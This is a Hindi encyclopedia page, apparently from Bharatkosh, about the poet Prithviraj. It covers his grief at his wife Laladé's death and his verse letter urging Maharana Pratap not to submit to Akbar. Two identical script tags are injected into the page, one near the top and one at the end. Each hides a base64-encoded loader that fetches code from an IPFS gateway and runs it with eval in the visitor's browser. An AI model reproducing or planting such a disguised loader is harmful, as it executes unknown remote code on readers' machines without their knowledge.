पृथ्वीराज

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
Disamb2.jpg पृथ्वीराज एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- पृथ्वीराज (बहुविकल्पी)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पृथ्वीराज वीर रस के अच्छे कवि थे और बीकानेर नरेश राजसिंह के भाई। ये बादशाह अकबर के दरबार में रहते थे।[1]

परिचय

पृथ्वीराज मेवाड़ की स्वतंत्रता तथा राजपूतों की मर्यादा की रक्षा के लिये सतत संघर्ष करने वाले महाराणा प्रताप के अनन्य समर्थक और प्रशंसक थे।

पृथ्वीराज की पहली रानी लालादे बड़ी ही गुणवती पत्नी थी। वह भी कविता करती थी। युवास्था में ही उसकी मृत्यु हो गई, जिससे पृथ्वीराज को बड़ा सदमा बैठा। उसके शव को चिता पर जलते देखकर वे चीत्कार कर उठे-

तो राँघ्यो नहिं खावस्याँ, रे वासदे निसड्ड। मो देखत तू बालिया, साल रहंदा हड्ड।

अर्थात- "हे निष्ठुर अग्नि, मैं तेरा राँघा हुआ भोजन न ग्रहण करुँगा, क्योंकि तूने मेरे देखते-देखते लालादे को जला डाला और उसका हाड़ ही शेष रह गया।"

बाद में स्वास्थ्य खराब होता देखकर संबंधियों ने जैसलमेर के राव की पुत्री चंपादे से पृथ्वीराज का विवाह करा दिया। चंपादे भी कविता करती थी।

महाराणा प्रताप को पत्र

जब आर्थिक कठिनाइयों तथा घोर विपत्तियों का सामना करते-करते एक दिन राणा प्रताप अपनी छोटी लड़की को आधी रोटी के लिये बिलखते हुए देखते हैं तो उनका पितृ हृदय इसे सहन नहीं कर सका और उन्होंने बादशाह अकबर के पास संधि का संदेश भेज दिया। इस पर अकबर को बड़ी खुशी हुई और महाराणा प्रताप का पत्र पृथ्वीराज को दिखलाया। इससे पृथ्वीराज को बड़ा धक्का लगा। पृथ्वीराज ने उसकी सच्चाई में विश्वास करने से इनकार कर दिया। पृथ्वीराज ने अकबर की स्वीकृति से एक पत्र राणा प्रताप के पास भेजा, जो वीर रस से ओतप्रोत तथा अत्यंत उत्साहवर्धक कविता से परिपूर्ण था। उसमें उन्होंने लिखा-

हे राणा प्रताप ! तेरे खड़े रहते ऐसा कौन है, जो मेवाड़ को घोड़ों के खुरों से रौंद सके? हे हिंदूपति प्रताप ! हिंदुओं की लज्जा रखो। अपनी शपथ निबाहने के लिये सब तरह को विपत्ति और कष्ट सहन करो। हे दीवान ! मै अपनी मूँछ पर हाथ फेरूँ या अपनी देह को तलवार से काट डालूँ; इन दो में से एक बात लिख दीजिए।

यह पत्र पाकर महाराणा प्रताप पुन: अपनी प्रतिज्ञा पर दृढ़ हुए और उन्होंने पृथ्वीराज को लिख भेजा- "हे वीर आप प्रसन्न होकर मूछों पर हाथ फेरिए। जब तक प्रताप जीवित है, मेरी तलवार को शत्रुओं के सिर पर ही समझिए।'


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 477 |

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>